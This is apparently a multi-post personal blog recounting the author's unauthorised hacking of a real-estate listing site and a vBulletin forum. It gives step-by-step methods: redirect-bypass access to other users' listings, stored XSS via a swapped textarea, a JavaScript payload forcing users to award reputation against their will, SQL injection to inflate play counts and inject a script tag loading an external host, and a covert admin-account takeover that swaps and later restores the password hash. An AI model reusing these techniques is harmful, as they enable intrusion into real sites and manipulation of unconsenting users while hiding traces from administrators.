As most of you probably don't know, I work in a real estate agency. So every now and then I search for new websites where I can upload our properties to.

Recently I came across bancodecasas.com

When I first saw the site, I already had the feeling that something wasn't quite right with it.

The site allows you to upload up to 8 images per property. So basically, you have 8 steady slots for images, whether they contain images or not, they're there. If one of the slots is empty, the site shows a default image, which is just a placeholder. Well that was the idea, but the paths to the default images were wrong, so Firefox was unable to display these images. Not very professional, I thought to myself. There are also buttons to delete the images. If I click the button, I get a PHP error:

Warning: unlink(../images/mgrafico/noimagen.jpg) [function.unlink]: No such file or directory in /home/xxxxxxxxxx/xxxxxxxx/xxxxxxxxxx.xxx/public_html/userspanel/eliminarimg3.php  on line 17

That, is what I call a major logic error in the script. First off, there shouldn't be a "delete button" if there's no image. And second, I (as user) shouldn't be able to delete any images except my own. They also had a separate PHP file for each image. Meaning, "eliminarimg1.php" would delete the first image, "eliminarimg2.php" the second, etc... I found this fairly unprofessional too, from a technical point of view.

This is where it started getting suspicious. If there are silly errors like this, there must be some security related errors as well.

I went to the page where you can modify your uploaded properties. The URL in the address bar held the ID of my property. My first thought was, okay, what if I change the ID to some other ID, which would be the one of a property that I didn't upload.

I picked a random ID and tried it out, but the site redirected me to the main page instead of showing me the property. I was a little surprised they thought of checking for this at all. But I went a step further...

What if I disabled HTTP redirects? I'm assuming they're simply using a header('Location: xxx') redirect if the property doesn't appear to be mine.

I disabled redirects, and voila, I was able to see and edit other properties.

Wait, what happened here?

They verify if the property with ID (given by URL) belongs to the current user (they're using simple PHP sessions to identify them). If the property doesn't belong to the user, they send a new Location header which redirects the browser to a new page.

Something like this:

if ($property['userid'] != $_SESSION['userid']) { header('Location: xxxxx'); }

The header() function only sends a new location to the browser. But the browser behaves the way I want it to, and I can tell it to stop following those redirects.

Besides, header() does not stop the code execution. The rest of the code continues running after sending the header. Usually the browser redirects fast enough, before anyone would notice, though.

So I think what I've done here is getting obvious. I disabled HTTP redirects on my browser, and was able to see the actual page because nothing prevented the code from continuing after sending the redirect.

What they should have done is as simple as an exit() or die() call after the header() call. Yup, it's that easy.

http://www.php.net/exit

WAIT, I'm not done yet with this site!

They have one of those fancy WYSIWYG editors for the description of the property (TinyMCE, if you must know). Next, I checked if I was able to inject JavaScript code somewhere. I typed some code into the editor, saved, and checked what happened. Looks like my input is being converted to HTML entities, and therefore useless once saved.

But I didn't give up here. I figured that perhaps TinyMCE is actually the guilty converter. I popped up Firebug, and changed the fancy editor back to a regular <textarea> field. Once again I typed in some code, hit save, and... SUCCESS! I'm now able to inject an unlimited amount of JavaScript code!

I mentioned once before that trusting the user when it comes to input, isn't a good idea. And this post confirms it.

UPDATE: Now that I've patched the exploit, you might no longer be able to inject your code. So in this post I'll just assume that you've found your way to inject code and are curious as to what you can do now.

Now that we can inject JavaScript into our posts, why not have some fun with it?

How about we make some users give us some reputation? I wrote some functions which make this quite easy.

This is only a part of a class I wrote, and I'm not going to post it all (as of now).

this.getUserId = function() { // Check vB cookie first // You need to find out the prefix by yourself. var vbcookie = readCookie(COOKIE PREFIX + 'userid'); if (vbcookie !== null) return parseInt(vbcookie); // Check for custom cookie var userid = readCookie('_u'); if (userid !== null) return parseInt(userid); // Is on a page without tools menu. if (!document.getElementById('usercptools_menu')) return 0; var links = document.getElementById('usercptools_menu') .getElementsByTagName('a'); var total = links.length; for (var i = 0; i < total; i++) { var result = links[i].href.match(/member\.php\?u=(\d+)/); if (result && result[1]) { // Cookie for faster and safer access next time. createCookie('_u', result[1], 365); return parseInt(result[1]); } } return 0; }

This code attempts to get the current user's ID whenever possible, so we can filer the users. Meaning we can decide which users we want to "attack".

The cookie functions I'm using can be found here.

So, now that we can chose the affected users, let's make them give us reputation. I'm not going to explain the whole code, though. If you understand it, you'll see what changes you're gonna have to make. Otherwise you probably shouldn't be reading this blog in first place.

window.onload = function() { var userid = this.getUserID(); if (userid != 0 && [array, of, ids].indexOf(userid) == -1) { var rep = document.getElementsByTagName('a'); var images; for (var r = 0; r < rep.length; r++) { if (rep[r].href && rep[r].href.indexOf('reputation.php') != -1) { images = rep[r].getElementsByTagName('img'); if (images && images[0] && images[0].title && images[0].title.indexOf('Add to XXXXX\'s R') != -1) { id = rep[r].id.substr(rep[r].id.lastIndexOf("_") + 1); var A = vBrep.reps[id]; if (A.vbmenu == null) A.populate(); else { if (vBmenu.activemenu != A.vbmenuname) A.vbmenu.show(fetch_object(A.vbmenuname)); else A.vbmenu.hide(); } window.setTimeout('submit_Rep()', 1000); break; } } } delete rep; } } function submit_Rep() { var reason = document.getElementsByName('reason'); if (!reason && !reason[0]) return window.setTimeout('submit_Rep()', 1000); reason[0].value = 'Message goes here'; var A = vBrep.reps[id]; A.submit(); }

This will make users give you reputation, whether they want to or not. Although, they will probably get annoyed, because this will attempt to give reputation every time they open one of the threads you replied to. We could easily set a cookie to only make them rep you once a week or something. But I'll leave that up to you. I've done the most difficult part for you already.

UPDATE: I've patched this exploit using my newly acquired admin powers. It will no longer work. So don't waste your time! ;p

There's another section on this site, where users can upload their music to promote it.

On the front page of the forum, there are the top 5 songs of the month. (The 5 most played songs).

In the user CP, there's a form where you can upload your MP3, and add a title, album, and track number. And yet again, the user input wasn't being escaped at all. I figured this out quickly by only entering a single quote into one of the fields, and receiving this error:

Invalid SQL: UPDATE profile_audio SET title = ''', album = '',tracknumber = '00' WHERE audioid = 'xxx';

Great! Again we have full write/UPDATE access to the whole "profile_audio" table. Now how to make use of this?

Remember I have full admin rights? So I went to the admin CP to see if I was able to find useful information about the audio table. It didn't take me long to find a list of all uploaded MP3s, including their information. There was one column called "Views per month", and it took me about 3 guesses to find out that the actual field name in the database was "viewsmonth".

Now let's try to update this value using the exploit.

The user input was limited to 30, but yet again on the client-side only. I opened my best friend Firebug and removed this: maxlength="30"

UPDATE `profile_audio` SET title='', `viewsmonth` = 5000 WHERE `audioid` = xxx

Yes, it's that easy. Now my song is on the front page, and first in the list. But that's not all. This exploit would also allow me to inject JavaScript into the front page, as explained here.

I'm still on the same message board, and I'm still looking for useful exploits.

I think the only things that keeps me motivated are boredom, and the fact that there are so many exploits.

Here's a new one.

There are two plug-ins that work together. A public gallery (PhotoPost), and a custom add-on by the admin, which allows users to customize their post area. You can set a custom background image, colors, border, font, etc...

If you want to set a background image, you have to upload it to the gallery, and it'll be shown later in a list in his custom add-on where you can pick it. What I didn't like about this is that only images below 80kb are shown. That's not very much if you want to use an animated GIF.

But to my luck, he trusted me (the user) too much again. I uploaded the image I wanted to the gallery, which was around 200kb. I opened the image in the gallery and copied its ID from the URL.

Then I went back to the control panel where I can choose the images. Needless to say, the image I uploaded didn't show because it was too big. So I took a look at the source code, and found this:

<input name="bg_image" type="radio" value="3745" />

So I opened up Firebug again, and replaced the ID with the ID I copied earlier. And I added a "checked".

<input name="bg_image" type="radio" value="new ID" checked="checked" />

I minimized Firebug, hit the submit button, and there we go. Size limit bypassed successfully.

So what went wrong here?

The admin selected the images on the server-side, and made the script display only images under 80kb. That means the user receives a list of images he wants to allow. But somehow, the user has to post back the ID of the image they selected, so it can be saved in the database.

In this post, I'll be using the same exploit as in the last post.

Yet again, the user input wasn't being escaped using mysql_real_escape_string(). I  figured this out the same way I always do, by entering a single quote and receiving a MySQL error about an invalid syntax.

However, htmlspecialchars() with default quote style ENT_COMPAT was applied. This results in my input being converted to HTML entities. Well, most of it whatsoever. Fortunately, the most important character, in terms of exploiting SQL queries, remains untouched. And thus being the single quote; '

Applying ENT_QUOTES could have prevented this, as it converts single quotes as well. But apparently this is unknown to most programmers.

Allowing me to insert unescaped single quotes into SQL queries allows me to exploit/modify them. And thanks to a little trick, it even allows me to insert HTML or even Javascript code.

What happens when htmlspecialchars() is applied, is that "<" becomes < ... ">" becomes > ... etc... which usually would prevent code injection.

But in this case we're injecting our code directly into an SQL statement. That means we can let native SQL write those characters. The CHAR() function does exactly that.

CHAR(60) equals < CHAR(62) equals > CHAR(34) equals "

There's a complete reference on asciitable.com

And it can be used like this:

UPDATE `user` SET `usertitle` = CONCAT( CHAR(60), 'script src=', CHAR(34), 'http://source.com/src.js', CHAR(34, 62, 60), '/script', CHAR(62) ) WHERE `userid` = xxx

Which will be equivalent to:

<script src="http://source.com/src.js"></script>

If the user input would have been escaped properly, I wouldn't have been able to modify the SQL query, and I wouldn't have been able to inject my code.

UPDATE: I've patched this exploit using my newly acquired admin powers. It will no longer work. So don't waste your time! ;p

I've been on this message board running on vBulletin 3.8 for quite a while now, and we have a problem there; The administrator left us for dead. He hasn't been online for way too long, and we need some changes on the site.

I figured this was an appropriate moment to get my hax0r skills involved. I'm going to explain how I did this, but I'm not going to get into every single detail, as I don't actually want anyone on this site to try this out. Something like a missing WHERE clause could make all user accounts unusable. All of them...

Having that said,... let's get started! What I need to accomplish is to get myself admin rights, so I can make the changes we need. vBulletin has a pretty solid code base, which is not easily hacked. But luckily, the forum has some custom add-ons, or "mods", made by the admin himself. I thought this was a good place to start looking for exploits. There's one part where you can change other people's user title (a little text which is being displayed beneath the user's moniker).

I just entered a single quote to see if the user input was being escaped properly, and... jackpot! I received this error:

Don't EVER show errors like this to the user! Do you realize how useful this information is to me? I can see the table name (no table prefix), and the field names. I can see exactly what's going on behind the scenes, and how to exploit this vulnerability.

Could this be any nicer? I don't think so. This means I now have full "UPDATE" access to the "user" table.

The text input field which I'm using was limited to 21 characters, but luckily on the client-side only (big, big mistake). I opened up Firebug and removed the "maxlength" attribute from the text field, and the limit was gone. If you absolutely must limit the input length, don't trust the user. Do it on the server-side as well. Input lengths wouldn't even be an issue if proper escaping would have been applied.

So how can I use this exploit now? I can write to the "user" table only, that means I could for example change my usergroup ID to "6" (which is vBulletin's default ID for administrators). That would gain me access to the admin panel, but it will only give me a very limited amount of options, which are all worthless to me. The real admin himself needs to give the user all wanted privileges, and this can't be done in the "user" table alone. Ideally, I'd need access to his account so I can do this myself.

With this exploit, I could change the admin's password, but needless to say, he'd realize that the next time he tried to log on. But what if I copy his password, (which by the way is an MD5 hashed string), to a temporary place? This way I could restore it after giving myself all necessary admin rights, as if nothing ever happened and we all still lived in a perfect world.

I only have "UPDATE" access to the "user" table, so I need a field somewhere in there that can hold at least 32 characters for the MD5 hash. I figured the "msn" field is just perfect for that (it holds up to 100 characters). Although, the "yahoo" and "skype" fields would have done it too:

(Having a local copy of vBulletin comes handy when investigating. And yes, I do own a license.)

So how can I SELECT his password, and copy it to my "msn" field? Remember that we have to do all tasks with just one single UPDATE query. And usually, you can't use UPDATE queries with SELECT sub-queries if both access the same table. But there's a trick too.

https://gist.github.com/2261340

If you want some good piece of advice, don't forget the WHERE clauses (none of them)! I accidentally selected 50+K users and temporarily crashed the MySQL server.

Sweet! Now my "msn" field holds his hashed password, which I don't even want to brute force or crack. I just need it so I can put it back later when I'm done, so he won't notice I temporarily "borrowed" his account.

Now I need to change his password. In pseudo-code, vBulletin does the hashing like this: md5 ( md5 ( password ) salt )

For security reasons, every user has their own personal salt, mainly so that multiple users sharing the same password don't end up with the same hash, and at the same time rendering rainbow tables useless. But in this case, it doesn't secure anything at all. We can just grab the victim's salt and create a new password with it. We don't even need to know what its actual value is.

We can use native SQL to create a new password using the current salt:

https://gist.github.com/2261388

Easy! Now that I have set my own password, I can just log into his account, using his original username and the new password I just created, and give myself all admin rights that tickle my fancy. After doing so, I can restore his old password by running a simple SQL query:

https://gist.github.com/2261395

This might be obvious, but you can get the hash by going to your profile and reading the value from the MSN field.

And that's pretty much it! I now have full admin rights, and the real admin won't notice unless he takes a closer look. But then it's going be too late anyway! ;)